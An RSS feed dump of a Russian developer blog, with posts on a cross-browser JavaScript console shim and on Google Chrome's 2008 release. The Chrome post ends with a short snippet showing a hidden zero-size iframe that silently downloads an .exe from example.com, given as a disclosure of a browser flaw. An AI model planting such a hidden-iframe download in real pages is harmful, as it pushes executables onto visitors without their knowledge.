CTAPbIu_MABP's BLOG » chrome http://mabp.kiev.ua Не вижу проблем, кроме лени! © Старый Мавр Fri, 10 Sep 2010 00:35:02 +0000 http://wordpress.org/?v=2.9.1 en hourly 1 Console2 http://mabp.kiev.ua/2009/01/05/console2/ http://mabp.kiev.ua/2009/01/05/console2/#comments Mon, 05 Jan 2009 17:54:46 +0000 CTAPbIu_MABP http://mabp.kiev.ua/?p=401 Все меньше и меньше остается времени у шестого IE, все больше и больше сайтов объявляют, что они перестают поддерживать дизайн и скрипты для него. Напомню что шестой IE был выпущен в 1999 году то есть 10 лет назад, а до сих пор "популярен". Уже даже сам мелкософт заявил о том что будет распространять седьмой IE как стандартное обновление. Но эта тема все еще может быть актуально потому что даже в седьмом IE нет консоли, и потому что в Opera и у Safari она находиться в зачаточном состоянии по сравнению с firebug'ом. Так вот я и решил то пока еще не поздно написать вторую версию консоли. Заодно углубил свои знания и отточил практику. Теперь она работает еще быстрее и надежнее, хотя все еще не лишена кое каких глюков, например типа-массив arguments так и не покорился. И еще я не хочу чтоб вы думали что дальше я начну накладывать какие-то визуальные эффекты типа плавающих дивов вместо аллертов, я не хочу создавать второй furebug lite.

Итак собственно код, его стало немного больше но на много повысилась производительность. Возможно стоило собрать все методы в объект и наверное я это сделаю но не сейчас, сейчас ее надо потестить в реальных условиях.



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script>
var cast = function(i) {
	// call lazy function definition
	return  (cast = !document.fileSize  // IE any version
		? function(i){return Array.prototype.slice.call(i);}
		: function(i){var l=i.length,a=[];while(l--){a[l]=i[l];}return a;}
	)(i);
},


show = function(m) {
	return (show=window.opera?window.opera.postError:window.alert)(m);
},


dump = function (x, max, sep, l) {
	l = l || 0, max = max || 3, sep = sep || "\t";
	if (l > max) return "[WARNING: Too much recursion]\n";
	var i, r = '', t = typeof x, tab = '';


	if (x === null) {
		r += "(null)\n";
	} else if (t == "object") {
		for (i=0,l++;i<l;i++) {tab += sep;}
		if (x && (x.length || x.length==0)) {t = 'array';}
		r += "(" + t + ") :\n";
		for (i in x)
			try { r += tab + "[" + i + "] : " + dump(x[i], max, sep, l+1);} catch(e) { return "[ERROR: " + e + "]\n"; }
	} else {
		if (t=="string"&&x=="") 
			x = '(empty)';
		r += "(" + t + ") " + x + "\n";
	}
	return r;


},


myConsole = function(){
	var args = cast(arguments);


	if (args.length>2){
		show(args.shift() +":\n"+ args.shift().replace(/(%[ds])/g, function(){
			return args.shift();
			})
		)
	}else{
		show(args.shift() +":\n"+ dump(args.shift()));
	}
};


if (window.loadFirebugConsole) { // since FireBug 1.2
	window.loadFirebugConsole();
} else if (!window.console) {
	window.console = {};
	var names = ["log", "debug", "info", "warn", "error"];
	for (var i in names){
		window.console[names[i]] = (function(name){return function(){
			myConsole.apply(null,[name].concat(cast(arguments)))
		}})(names[i]);
	}
}
</script>
</head>
<body>
</body>
</html>

И собственно мои тест-кейсы:



window.onload = function(){
	console.log("string: %d %s %d", 10, "text", 10);
	console.info({});
	console.info([]);
	console.info(null);
	console.info(window);
	console.info(document);
	console.info(document.getElementsByTagName("body"));
	console.info(document.getElementsByTagName("body")[0]);
	console.info(Math);
	(function(z){try {x.y = z;}catch(e){console.info(e);}})(null);
	//(function(x,y,z){console.info(arguments)})(1,2,3); // fail


}
]]> http://mabp.kiev.ua/2009/01/05/console2/feed/ 0 Консоль для всех браузеров http://mabp.kiev.ua/2008/12/25/myconsole/ http://mabp.kiev.ua/2008/12/25/myconsole/#comments Thu, 25 Dec 2008 19:43:55 +0000 CTAPbIu_MABP http://mabp.kiev.ua/?p=312 Это попытка заставить работать синтаксис консоли FireBug'a со всеми браузерами. ИМХО кроссбраузерный дебаг звучит не ок, но это именно он! А все получилось как-то само собой когда я сегодня что-то дебажил на тестовой платформе и для того чтобы тестеры не видели ошибок прикрывал вызовы консоли заглушками.



if(window.console)
	console.log("myLog");

В общем это как-то гнило, нашел что по данному поводу пишут разработчики Prototype и jQuery, и даже сами разработчики FireBug'a склоняются к заглушкам

Уж очень мне эти затычки не нравятся. И решил я выяснить что можно с этим сделать. Уточнив с какой версии у браузеров появилась консоль (и текущую версию): IE8b2 (IE7), Opera 9.50 (9.63), Safari 1.3 (3.21), FireFox 2.0.0 (3.0.5), я принялся за работу.

Первое что приходило на ум это что-то вроде



if (!window.console) {
	window.console = {};
	window.console.log = alert;


}

Но не все так просто, FireBug славится тем что показывает содержимое любого объекта и может делать форматированный вывод. То есть во-первых можно сделать



console.info({a:null});

и увидеть содержимое объекта в закладке DOM, а во-вторых можно сделать форматированный вывод



console.info("string: %d %s %d", 10, "text", 10);

и увидеть строку "string: 10 text 10". В остальных же браузерах можно наблюдать только строку [object Object] и "string: %d %s %d" соответственно, кроме IE8b2, он поддерживает форматный вывод, выпендрился, блин!

Я решил начать с написания форматного вывода, но функция sprintf оказалась настолько громоздкой и избыточной что я решил обойтись небольшим регулярным выражением, для своих нужд, тем более что FireBug тоже не различает %d и %s ;) в отличие от IE8b2 который корректно выводит 0 вместо %d которому соответствует строка. Из этого вывод что достаточно использовать только %s.

Потом я решили что было бы неплохо научиться отображать содержимое объектов и массивов, для этого как нельзя хорошо подходила одна известная функция, написанная очень нелюбимым мной человеком, имя которого можете прочитать в комментарии в коде. Единственные минус этой функции в том что она не может корректно отобразить объекты типа window, на нем она уходит куда-то в глубь рекурсии и безнадежно вешает браузер. Но этот недостаток я постараюсь решить в следующей версии, если такая появиться.

Уже неплохо. Последним штрихом к портрету было прикручивание уровня дебага "log", "debug", "info", "warn", "error". Тут для меня было несколько откровений. Первое это то что массив arguments не такой уже и массив потому что содержит в себе еще и метод callee. Второе - что объект arguments прекрасно превращается в массив с помощью волшебной строки



var args = Array.prototype.slice.call(arguments);

Третье - что этот метод не работает (правильно!) в IE7 и IE8b2, а поэтому не годиться. И наконец четвертое и последние что чертов arguments не возможно обойти циклом через in нужно обязательно это делать через длину



for(var i in arguments) // fail
	alert(arguments[i]);
for(var i=0,j=arguments.length;i<j;i++) // ok
	alert(arguments[i]);

Но это все не помешало мне дописать сегодня этот скрипт и выложит его на ваше растерзание



myConsole = function(){
	var args = (function(a,x){for(var i=0,j=a.length;i<j;i++){x.push(a[i])};return x;})(arguments,[]);


	if (args.length>2){
		(window.opera?opera.postError:window.alert)(args.shift() +'':\\n''+ args.shift().replace(/(%[ds])/g, function(){
			return args.shift();
			})
		)
	}else{
		// автор функции dump - Дмитрий Котеров
		// http://dklab.ru/chicken/nablas/38.html
		(window.opera?opera.postError:window.alert)(args.shift() +'':\\n''+ (function dump(d,l) {
			if (l == null) l = 1;
			var s = '''';
			if (typeof(d) == "object") {
				s += typeof(d) + " {\\n";				for (var k in d) {
					for (var i=0; i<l; i++){
						s += "  ";
					}
					s += k+": " + dump(d[k],l+1);
				}
				for (var i=0; i<l-1; i++){
					s += "  ";
				}
				s += "}\\n"
			} else {
				s += "" + d + "\\n";
			}
			return s;
		})(args.shift()));
	}
}


if (window.loadFirebugConsole) { // since FireBug 1.2
	window.loadFirebugConsole();
} else if (!window.console) {
	window.console = {};
	var names = ["log", "debug", "info", "warn", "error"];
	for (var i in names){
		window.console[names[i]] = (function(name){return function(){
			myConsole.apply(null,(function(a,x){for(var i=0,j=a.length;i<j;i++){x.push(a[i])};return x;})(arguments,[name]))
		}})(names[i]);
	}
}

Кому пригодиться пишите в каменты...

]]> http://mabp.kiev.ua/2008/12/25/myconsole/feed/ 0 Google Chome http://mabp.kiev.ua/2008/09/03/google_chrome/ http://mabp.kiev.ua/2008/09/03/google_chrome/#comments Wed, 03 Sep 2008 16:16:15 +0000 CTAPbIu_MABP http://mabp.localhost/?p=224 Вчера вечером вышел релиз браузера Google Chrome, все предвещают ему долгую жизнь и процветание а так же прогнозируют что он будет конкурентом уже имеющимся браузерам. Я смотрю на это с точки зрения работы. Меня очень интересовало станет ли ее больше. Честно говоря пока еще точно сказать не могу но все продвинутые JS библиотеки, такие как jQuery, PrototypeJS, mooTools и т.д. работаю как часы.

Google Chrome

Google не скрывает что не писал с нуля браузер а лишь взял все лучшее из WebKit и Gecko, о чем радотно заявляет UserAgent



Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13

Я только не понял пока какой у них JS движок JavaScriptCore (Safari 3.1) или его приемник SquirrelFish (Safari 4.0), а может быть SpiderMonkey (FireFox 3.0) или его потомок TraceMonkey (FireFox 3.1). ну это я скоро выясню.

Еще меня интересовало поддерживает ли Chrome метод document.querySelectorAll, и как оказалось поддерживает только какого-то хуя возвращает вместо массива нечто под названием StaticNodeList.

Но самой большой неожиданностью стало то, что при всей хвалености гугловкого кода, в первый же день, была найдена огромная дыра в безопасности. Можно загрузить любой файл. даже *.exe без ведома пользователя на его машину, примерно вот таким образом.



<script>
document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');
</script>
]]> http://mabp.kiev.ua/2008/09/03/google_chrome/feed/ 0